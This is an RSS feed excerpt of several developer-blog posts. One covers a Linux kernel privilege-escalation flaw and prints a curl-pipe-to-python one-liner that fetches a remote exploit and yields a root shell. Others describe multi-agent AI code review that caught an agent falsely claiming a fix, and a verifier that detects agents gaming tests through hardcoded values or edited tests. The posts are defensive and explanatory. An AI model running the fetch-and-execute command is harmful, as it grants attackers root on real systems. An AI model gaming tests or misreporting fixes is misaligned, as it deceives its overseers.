&lt;li&gt;Can be reduced with RAG, tools, and human oversight&lt;/li&gt;
&lt;li&gt;Never fully eliminated&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;If you're building AI systems…&lt;/p&gt;

&lt;p&gt;Don’t optimize only for:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Speed and fluency&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Also optimize for:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Truth and trust&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;💬 &lt;em&gt;Have you ever caught an AI confidently giving a wrong answer? What was it?&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Copy Fail is 732 bytes. Your foothold problem is the bigger one.</title>
      <dc:creator>Christopher Karatzinis</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:29:56 +0000</pubDate>
      <link>https://hmpljs.forem.com/c_k_eaa0d8cd25e182343052e/copy-fail-is-732-bytes-your-foothold-problem-is-the-bigger-one-569o</link>
      <guid>https://hmpljs.forem.com/c_k_eaa0d8cd25e182343052e/copy-fail-is-732-bytes-your-foothold-problem-is-the-bigger-one-569o</guid>
      <description>&lt;p&gt;CVE-2026-31431 dropped this week. The disclosure site is at copy.fail and the writeup is short enough to read with coffee.&lt;/p&gt;

&lt;p&gt;The TL;DR: a logic flaw in the kernel's &lt;code&gt;authencesn&lt;/code&gt; path, reachable through &lt;code&gt;AF_ALG&lt;/code&gt; sockets, abused via &lt;code&gt;splice()&lt;/code&gt; to land a 4-byte write into the page cache of any setuid binary. They picked &lt;code&gt;/usr/bin/su&lt;/code&gt; for the demo. The whole exploit is 732 bytes of Python 3 standard library. No race window. No kernel offsets. Reliable across every affected distro from 2017 onward.&lt;/p&gt;

&lt;p&gt;Quick run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl https://copy.fail/exp | python3 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; su
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root shell. The kernel hands it over because AF_ALG is on by default and authencesn does the wrong thing under &lt;code&gt;splice()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bit nobody is talking about
&lt;/h2&gt;

&lt;p&gt;Copy Fail is a &lt;strong&gt;local&lt;/strong&gt; privilege escalation. The attacker still needs an unprivileged shell on your box to fire it.&lt;/p&gt;

&lt;p&gt;So where does that shell come from? Same place it always does. SSH brute force, exposed Redis, an old vsftpd, a Telnet port someone forgot about, a leaked deploy key. The on-ramp is unglamorous and it never stopped working.&lt;/p&gt;

&lt;h2&gt;
  
  
  What we actually see
&lt;/h2&gt;

&lt;p&gt;I run TarPit.pro. It's a honeypot that answers on the ports your real services listen on, hands attackers a believable banner, then tarpits and bans them. Across 5 boxes in the last 20 days:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;~40,000 attack attempts&lt;/li&gt;
&lt;li&gt;~14,000 unique source IPs&lt;/li&gt;
&lt;li&gt;~5,000 IPs auto banned&lt;/li&gt;
&lt;li&gt;Top ports hit: SSH (14k), Telnet (3.2k), SMB (2.2k)&lt;/li&gt;
&lt;li&gt;Top sources: US, China, UK, Hong Kong, Netherlands&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That's the foothold market. Those are the IPs that, in another month, will be the ones running &lt;code&gt;curl copy.fail/exp | python3&lt;/code&gt; on whichever box they land on first.&lt;/p&gt;

&lt;h2&gt;
  
  
  Patch the kernel. Of course. Then drown them at the door.
&lt;/h2&gt;

&lt;p&gt;You're going to patch. Distros are already shipping fixes. The next CVE is already being written though, and the foothold pipeline doesn't care which kernel you're running.&lt;/p&gt;

&lt;p&gt;A honeypot doesn't replace patching. It buys you the one thing you can't get anywhere else: the brute forcer wastes their session on a fake SSH that never lets them in, gets banned across your fleet on the first connection and never reaches the box where Copy Fail or whatever comes next would have actually mattered.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;a href="https://tarpit.pro" rel="noopener noreferrer"&gt;https://tarpit.pro&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Single Go binary, systemd, fake banners on 70+ services, fleet wide bans across your servers. Free tier covers up to 2 servers with the cloud dashboard. Coupon &lt;code&gt;LAUNCH101&lt;/code&gt; gives 2 months free on Starter or Pro.&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>devops</category>
      <category>sysadmin</category>
    </item>
    <item>
      <title>One Workflow, Three Jobs: How We Built a Reusable AI Review System</title>
      <dc:creator>Anvar Nurmatov</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:29:45 +0000</pubDate>
      <link>https://hmpljs.forem.com/ggsa/one-workflow-three-jobs-how-we-built-a-reusable-ai-review-system-1ajp</link>
      <guid>https://hmpljs.forem.com/ggsa/one-workflow-three-jobs-how-we-built-a-reusable-ai-review-system-1ajp</guid>
      <description>&lt;p&gt;&lt;em&gt;Previously: &lt;a href="https://dev.to/ggsa/phleet-architecture-deep-dive-5b8b"&gt;Phleet Architecture Deep Dive&lt;/a&gt; - how the overall multi-agent system works.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When you ask one AI agent to write code, you get code. When you ask a second agent to review it, you get a rubber stamp. "Looks good to me" is the most common review output in AI-assisted development - and it's worthless.&lt;/p&gt;

&lt;p&gt;We spent months building a system where AI agents genuinely catch each other's mistakes. Not in theory. In production, on systems that matter.&lt;/p&gt;

&lt;p&gt;At the core of our system is a single workflow - 146 lines of C# - that handles independent parallel assessment of any artifact: a design spec, a pull request, a deployment config, a vendor evaluation. You give it reviewers and a prompt. It fans out, collects verdicts, resolves disagreements, and returns a single actionable result.&lt;/p&gt;

&lt;p&gt;We use it for three things today: design review, code review, and a pipeline that chains both. But the mechanism is general - anywhere you need multiple independent perspectives synthesized into a decision, it works.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem With AI Reviews
&lt;/h2&gt;

&lt;p&gt;Here's what happens when you tell an AI to "review this PR":&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The implementation looks well-structured and follows the existing patterns in the codebase. The error handling appears adequate. No major concerns.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's not a review. That's a hallucination of a review. The agent skimmed the diff, pattern-matched against "things that look like code," and produced a response shaped like approval.&lt;/p&gt;

&lt;p&gt;We know this because we shipped code reviewed this way. It broke.&lt;/p&gt;

&lt;h2&gt;
  
  
  One Workflow, Three Stages
&lt;/h2&gt;

&lt;p&gt;Our consensus review workflow does three things - fan out, parse, synthesize - with a fast-path shortcut when everyone agrees.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F653bly91lnslp34b9r24.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F653bly91lnslp34b9r24.png" alt="Consensus review flow" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fan-out.&lt;/strong&gt; Multiple reviewer agents receive the same review prompt simultaneously. Each agent works independently - no peeking at each other's reviews. Each has 15 minutes and must end their response with an explicit verdict: &lt;code&gt;approved&lt;/code&gt;, &lt;code&gt;changes_requested&lt;/code&gt;, or &lt;code&gt;needs_human_review&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Parse.&lt;/strong&gt; The workflow extracts each agent's verdict. If an agent forgets to include one or writes something unrecognizable, it defaults to &lt;code&gt;changes_requested&lt;/code&gt;. The conservative choice. We'd rather re-review than miss a bug. If every reviewer independently approves at this stage, we skip synthesis entirely and move on - unanimous approval happens often enough that the fast-path is worth it, but disagreement is common enough that synthesis earns its keep.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Synthesize.&lt;/strong&gt; When reviewers disagree - one approves, another requests changes - a synthesizer agent reads all the reviews and produces a single verdict. The synthesizer can approve if all concerns are cosmetic, or escalate if any concern is substantive.&lt;/p&gt;

&lt;p&gt;Here's what synthesis looks like in practice. In one case, two reviewers independently reviewed a data pipeline optimization. One approved the approach and flagged an edge case to protect. The other read the source code and found the entire premise was wrong - the spec blamed the wrong component for the bottleneck. The synthesizer merged both inputs into a corrected specification: the accurate bottleneck analysis from one reviewer and the edge-case guardrail from the other - a result neither reviewer alone could have produced.&lt;/p&gt;

&lt;p&gt;The workflow itself doesn't know what it's reviewing. It's a pure coordination primitive - fan out, collect verdicts, resolve disagreements - and the power comes from how it's called.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Self-Correcting Loop
&lt;/h2&gt;

&lt;p&gt;A single review pass is useful. But the real value is what happens when reviewers find problems: the system iterates autonomously.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F40nr1foa7gk3kq62o5ww.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F40nr1foa7gk3kq62o5ww.png" alt="Review loop" width="800" height="506"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The agent that produced the original output receives the consolidated feedback and revises. The revised version goes through another full consensus review - same fan-out, same independent verdicts. This loop repeats up to N rounds (three for design specs, five for code). In the common case, agents resolve their own disagreements within two or three rounds.&lt;/p&gt;

&lt;p&gt;Whether agents converge or the loop exhausts its budget, the result always reaches a human gate. The human sees the full review history and can approve, request further changes (which sends the agents back into the loop), or reject outright. Agents do the analytical work autonomously, but a human always makes the final call.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jmq4to5wfskixczw7ia.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jmq4to5wfskixczw7ia.png" alt="Human gate: dashboard signal approval UI" width="800" height="118"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is what makes it more than a one-shot review tool. It's a self-correcting feedback loop with human oversight built into every path, not just the failure cases.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three Examples
&lt;/h2&gt;

&lt;p&gt;We use consensus review for three things today - but the pattern applies anywhere you need independent assessments synthesized into a decision: compliance checks, deployment approvals, content moderation, vendor evaluations, or any multi-stakeholder review process. Here's how our three compositions work.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Design Review: "Is this spec good enough to build?"
&lt;/h3&gt;

&lt;p&gt;Before any code is written, someone has to decide what to build. An agent creates a GitHub issue with a detailed specification. Then the consensus workflow checks if that spec is actually implementable.&lt;/p&gt;

&lt;p&gt;The review prompt for design is specific:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Evaluate whether the spec is complete and unambiguous enough to implement without guessing.&lt;/p&gt;

&lt;p&gt;VALIDATION CHECKLIST - answer each yes/no:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Does every new behavior have an explicit error/failure path?&lt;/li&gt;
&lt;li&gt;Are all external dependencies identified with failure handling?&lt;/li&gt;
&lt;li&gt;Does the spec include a 'Constraints / MUST NOT' section?&lt;/li&gt;
&lt;li&gt;Can an implementer build this without making design decisions of their own?&lt;/li&gt;
&lt;li&gt;Are boundary conditions and edge cases specified?&lt;/li&gt;
&lt;li&gt;Compare the original request against the spec - any specification drift?&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;That last item is key. The reviewer gets the original request alongside the design agent's interpretation. This catches cases where the design agent subtly changed what was asked for - dropped a requirement, expanded scope, or reinterpreted intent.&lt;/p&gt;

&lt;p&gt;If the reviewers find problems, the design agent refines the spec and the review runs again. Up to three rounds. If it can't reach approval in three rounds, the workflow notifies a human and waits - there's no auto-cancel, because a stuck design decision is better surfaced than silently abandoned.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. PR Review: "Does this code match the spec?"
&lt;/h3&gt;

&lt;p&gt;Once the spec is approved and an agent implements it, a different composition of the same workflow reviews the code. Same fan-out, same synthesis - but the review prompt shifts focus entirely:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;VALIDATION CHECKLIST - answer each yes/no:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Does the implementation match the spec without omissions or unexplained additions?&lt;/li&gt;
&lt;li&gt;Does every new code path have error handling?&lt;/li&gt;
&lt;li&gt;Are there any security concerns (injection, auth bypass, data exposure)?&lt;/li&gt;
&lt;li&gt;Does this break backward compatibility for existing consumers?&lt;/li&gt;
&lt;li&gt;Are edge cases from the spec covered in the implementation?&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;Design review asks "is this spec complete?" PR review asks "does this code do what the spec says?" Same workflow, different lens.&lt;/p&gt;

&lt;p&gt;This one gets up to five rounds, not three - because code is harder to get right than specs. And after the review loop, there's a human approval gate before anything merges. If the human requests changes at that gate, the workflow runs a second consensus review to evaluate the concern, then feeds the feedback back to the developer agent. The human always has the final word, but the agents do the analytical work.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Design-to-PR: The Full Pipeline
&lt;/h3&gt;

&lt;p&gt;The third composition doesn't invoke the consensus workflow directly. It chains the first two:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run the design workflow (which internally uses consensus review for spec validation)&lt;/li&gt;
&lt;li&gt;Capture the approved issue number&lt;/li&gt;
&lt;li&gt;Fire the implementation workflow (which internally uses consensus review for code validation)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In a full design-to-PR pipeline, the same 146-line workflow can execute up to four times: twice during design (initial review + human-triggered re-review) and twice during implementation (same pattern). One building block, four review passes, each with a different prompt tuned to what matters at that stage.&lt;/p&gt;

&lt;p&gt;Here's a 5-minute walkthrough of a real production PR going through this exact pipeline - design spec, consensus review, implementation, merge:&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/DIx7Y3GfmGc"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;Adding a fourth composition - say, compliance review for regulatory changes, or deployment approval for infrastructure modifications - means writing a new parent workflow that calls the same consensus child with a different prompt and different reviewers. The coordination mechanism never changes; only the review criteria do.&lt;/p&gt;

&lt;h2&gt;
  
  
  What It Actually Catches
&lt;/h2&gt;

&lt;p&gt;Theory is nice. Here's what happened in production - cases where the automated review caught problems that the human authors had already looked at and missed. The catches fall into three categories, each progressively harder to replicate with a single reviewer.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Wrong Bottleneck
&lt;/h3&gt;

&lt;p&gt;A design spec proposed optimizing a data pipeline that took over 8 hours to run. The spec blamed external API calls as the bottleneck and estimated a significant improvement from skipping them for lower-priority data segments.&lt;/p&gt;

&lt;p&gt;Two reviewers independently evaluated the proposal. The domain specialist confirmed the optimization made sense from a business perspective and flagged an edge case - active records must still get refreshed regardless of segment activity.&lt;/p&gt;

&lt;p&gt;The code auditor read the actual source and found the spec was factually wrong about the system it described:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The code shows the external API calls do NOT happen per-record during the main processing loop. They happen exclusively in a post-processing step, which is already scoped to a small subset of records.&lt;/p&gt;

&lt;p&gt;The actual bottleneck is the main processing loop: thousands of sequential API calls, tens of thousands of individual database lookups, and a comparable number of individual write operations.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The optimization would have targeted the wrong thing entirely. The consensus synthesis merged both inputs: the corrected bottleneck analysis from the auditor and the edge-case guardrail from the domain specialist. The resulting spec was fundamentally different from the original proposal.&lt;/p&gt;

&lt;p&gt;This is what makes multi-agent review worth the complexity. Neither reviewer's output alone would have been sufficient - the domain specialist validated the intent but missed the technical error, the code auditor found the error but wouldn't have known which edge cases to protect. The synthesizer produced a result that neither could have reached independently.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Startup Crash Nobody Tested
&lt;/h3&gt;

&lt;p&gt;A PR extracted hardcoded database seed data into a JSON config file. The reviewer confirmed all spec requirements were met - but then traced the code path end-to-end and found something the spec didn't mention:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If the seed file contains malformed JSON, &lt;code&gt;JsonSerializer.Deserialize&lt;/code&gt; throws a &lt;code&gt;JsonException&lt;/code&gt; that propagates unhandled, crashing the application at startup. The code already handles "file not found" gracefully - a corrupt file should get the same treatment.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The review included the exact fix - the specific try-catch block and log message. Not "add error handling" - the actual code. In production, this would have meant a service that crashes on restart after a bad config push, breaking container orchestration and blocking rollback.&lt;/p&gt;

&lt;p&gt;This is what structured review produces. The reviewer was forced through a checklist that asks "does every new code path have error handling?" and traced each path to answer the question. A single-pass review would have stopped at "spec requirements met." The checklist forced the reviewer to keep going.&lt;/p&gt;

&lt;h3&gt;
  
  
  "Fixed and Verified Clean Build"
&lt;/h3&gt;

&lt;p&gt;The previous two examples show the review system catching problems on the first pass. But what happens when the developer agent &lt;em&gt;claims&lt;/em&gt; it fixed the problem?&lt;/p&gt;

&lt;p&gt;An agent was tasked with modifying a configuration file. The review loop caught the change was wrong - the agent had appended the new content after the existing file instead of replacing it. Classic write-vs-edit mistake. The review flagged it. The agent revised and reported back: "fixed and verified clean build."&lt;/p&gt;

&lt;p&gt;The diff told a different story. The same append-instead-of-edit error was still there. The agent had confidently declared the problem solved without actually solving it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu0lpq35xkanvxf606lcq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu0lpq35xkanvxf606lcq.jpg" alt="Review loop catching a false fix" width="800" height="231"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Round two of the review loop caught this - not because a human was watching, but because independent reviewers checked the actual diff against the claimed fix. The agent's self-assessment was worthless; the structured review was not.&lt;/p&gt;

&lt;p&gt;This is the failure mode that makes the iterative loop essential. Agents don't just make mistakes - they make mistakes and then sincerely believe they've fixed them. Without independent verification on every round, a confident "done" from the implementing agent would have reached the human gate looking like a clean fix.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One meta-case.&lt;/strong&gt; &lt;a href="https://github.com/anurmatov/phleet/issues/13" rel="noopener noreferrer"&gt;phleet#13&lt;/a&gt; specified Fleet.Telegram - a new MCP server that agents and workflows call to send Telegram messages. The issue spec went through 6 design-review rounds before implementation started, and the resulting PR &lt;a href="https://github.com/anurmatov/phleet/pull/14" rel="noopener noreferrer"&gt;phleet#14&lt;/a&gt; shipped in 4 commits - 1 initial + 3 review-driven fixups. Those fixups caught a missed spec detail (the &lt;code&gt;fallback&lt;/code&gt; field was computed internally but omitted from the success-response JSON), a missed doc update (the README architecture tree wasn't updated for the new service), and a confidentiality leak (a real chat ID was committed to API docs in a public repo). Fleet.Telegram is the MCP server that now delivers the merge-approval and design-approval notifications described earlier in this post - the system reviewed itself while building the thing that tells humans to review things. Neither number is remarkable alone; together, a 6-round spec and 3 review-driven code fixups on one small change is what a self-correcting loop looks like in wall-clock terms.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Counterintuitive Rules
&lt;/h2&gt;

&lt;p&gt;Early in our system, review prompts said things like "evaluate whether the spec is complete and unambiguous." Agents responded with paragraphs of vague approval. We added structured yes/no checklists and review quality changed overnight. But the biggest improvement came from two counterintuitive rules:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zero findings is suspicious.&lt;/strong&gt; If a reviewer finds nothing wrong, they must explicitly state what they checked and acknowledge that zero findings may indicate insufficient review depth. This eliminates the failure mode where an agent produces a confident "all clear" without actually checking anything. It sounds paranoid, but it's the single most effective quality signal we've added - because it forces reviewers to show their work even when there's nothing to report.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Severity ratings are mandatory.&lt;/strong&gt; Every finding is rated: blocker (cannot ship), high (production bug), medium (should fix), low (observation). This gives the synthesizer - and the human at the approval gate - a clear signal about what actually matters versus what's cosmetic.&lt;/p&gt;

&lt;p&gt;The goal isn't perfect reviews. It's reviews that catch the things humans would catch - missing error handling, spec drift, wrong assumptions - at machine speed, on every single change, without review fatigue. And because the workflow is domain-agnostic, every improvement to the coordination mechanism - better synthesis, smarter verdict parsing, the review loop itself - automatically benefits every context that uses it.&lt;/p&gt;




&lt;p&gt;The consensus workflow itself is 146 lines at &lt;a href="https://github.com/anurmatov/phleet/blob/main/src/Fleet.Temporal/Workflows/Fleet/ConsensusReviewWorkflow.cs" rel="noopener noreferrer"&gt;ConsensusReviewWorkflow.cs&lt;/a&gt;, part of the &lt;a href="https://anvarlab.com/blog/phleet-architecture" rel="noopener noreferrer"&gt;Universal Workflow Engine&lt;/a&gt; that orchestrates it. The rest of the source lives at &lt;a href="https://github.com/anurmatov/phleet" rel="noopener noreferrer"&gt;github.com/anurmatov/phleet&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Co-authored with Acto - my AI co-CTO and one of the agents described in this post.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>opensource</category>
      <category>showdev</category>
    </item>
    <item>
      <title>swarm-orchestrator v7.0.0-alpha.0</title>
      <dc:creator>Brad Kinnard</dc:creator>
      <pubDate>Thu, 30 Apr 2026 05:28:06 +0000</pubDate>
      <link>https://hmpljs.forem.com/moonrunnerkc/swarm-orchestrator-v700-alpha0-41g9</link>
      <guid>https://hmpljs.forem.com/moonrunnerkc/swarm-orchestrator-v700-alpha0-41g9</guid>
      <description>&lt;p&gt;The agent generates code. The orchestrator tries to find reasons not to trust it.&lt;/p&gt;

&lt;p&gt;That sentence is the entire pivot. Earlier versions of swarm-orchestrator coordinated multiple agents working on the same task. v7 wraps a single agent CLI (Copilot, Claude Code, or Codex) and runs five independent checks on the patch before allowing a merge.&lt;/p&gt;


&lt;div class="crayons-card c-embed"&gt;

  &lt;br&gt;
&lt;strong&gt;TL;DR&lt;/strong&gt;

&lt;p&gt;Five-layer verification battery sits between any agent CLI and your &lt;code&gt;main&lt;/code&gt; branch. Two layers are hard gates. Three feed a composite score. Every verified merge gets a signed SLSA attestation as a git note.&lt;br&gt;

&lt;/p&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  The five checks
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;What it catches&lt;/th&gt;
&lt;th&gt;Gate type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Intent verification&lt;/td&gt;
&lt;td&gt;Patch doesn't actually fix the stated problem&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hard&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Regression verification&lt;/td&gt;
&lt;td&gt;Patch breaks existing behavior, or test coverage is too weak to know&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hard&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Solution quality&lt;/td&gt;
&lt;td&gt;Agent gamed the test (hardcoded values, swallowed exceptions, modified tests)&lt;/td&gt;
&lt;td&gt;Composite&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Behavioral verification&lt;/td&gt;
&lt;td&gt;Patch works on the happy path, crashes on edge cases&lt;/td&gt;
&lt;td&gt;Composite&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Provenance&lt;/td&gt;
&lt;td&gt;No signed attestation produced for the merge&lt;/td&gt;
&lt;td&gt;Composite&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  1. Intent verification
&lt;/h3&gt;

&lt;p&gt;The patch must make a previously-failing test pass. For SWE-bench instances, that's the &lt;code&gt;FAIL_TO_PASS&lt;/code&gt; test from the instance JSON. For user-facing goals, a reviewer synthesizes a regression test before the worker runs and confirms it fails against the base commit first.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Regression verification
&lt;/h3&gt;

&lt;p&gt;Existing tests must pass. Then mutation testing runs on the modified files to check whether coverage around the change is actually strong enough to catch regressions. A patch that works but lives in weakly-tested code gets flagged.&lt;/p&gt;

&lt;p&gt;
  Mutation testing tooling per language
  &lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JS / TS&lt;/strong&gt;: Stryker&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python&lt;/strong&gt;: mutmut&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Java&lt;/strong&gt;: PITest&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mutation score thresholds are configurable in &lt;code&gt;.swarm/gates.yaml&lt;/code&gt;. Defaults: below 0.6 fails, 0.6 to 0.8 warns, above 0.8 passes.&lt;br&gt;
&lt;/p&gt;

&lt;br&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Solution quality
&lt;/h3&gt;

&lt;p&gt;A Semgrep rule pack scans for the specific shortcuts agents take when they're being graded:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hardcoded values matching test expectations&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;try/catch&lt;/code&gt; blocks swallowing the exact exception a failing test was asserting on&lt;/li&gt;
&lt;li&gt;Modifications to test files outside the stated scope&lt;/li&gt;
&lt;li&gt;Mock mutations that make tests pass without changing the implementation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Behavioral verification
&lt;/h3&gt;

&lt;p&gt;Property-based testing runs against modified functions for 60 seconds each, using Hypothesis (Python) or fast-check (TypeScript). Counterexamples that crash the patched code or violate type contracts get reported.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Provenance
&lt;/h3&gt;

&lt;p&gt;A signed SLSA v1.0 attestation is generated for each verified merge and attached to the commit as a git note. Signed via cosign keyless OIDC. The attestation contains agent identity, model version, per-layer results, and the composite score.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;swarm attest verify &amp;lt;commit&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That command pulls the note and verifies the signature. Useful when something breaks in production three months later and someone asks which agent wrote the offending code and what was checked at merge time.&lt;/p&gt;


&lt;h2&gt;
  
  
  Status
&lt;/h2&gt;


&lt;div class="crayons-card c-embed"&gt;

  &lt;br&gt;
&lt;strong&gt;Alpha.&lt;/strong&gt; SWE-bench Verified 50-instance sweeps across Copilot CLI, Claude Code, and Codex are running now. Headline metric is the &lt;strong&gt;falsification catch rate&lt;/strong&gt;: of the patches each agent claimed succeeded, what percentage failed at least one layer. Numbers drop in a follow-up post when the sweeps complete.&lt;br&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Where this goes next
&lt;/h2&gt;

&lt;p&gt;v8 brings parallel execution back, applied to verification instead of generation.&lt;/p&gt;

&lt;p&gt;The orchestrator will compute a risk score for each patch, then spawn a population of independent falsifiers sized to that risk. Falsifiers share findings through a coordination channel so a discovery from one steers the targeting of others. A bandit selects which falsifier types to spawn based on past outcomes.&lt;/p&gt;

&lt;p&gt;The v7 five-layer battery becomes the seed pool that v8 grows from. The project name finally fits.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/moonrunnerkc" rel="noopener noreferrer"&gt;
        moonrunnerkc
      &lt;/a&gt; / &lt;a href="https://github.com/moonrunnerkc/swarm-orchestrator" rel="noopener noreferrer"&gt;
        swarm-orchestrator
      &lt;/a&gt;
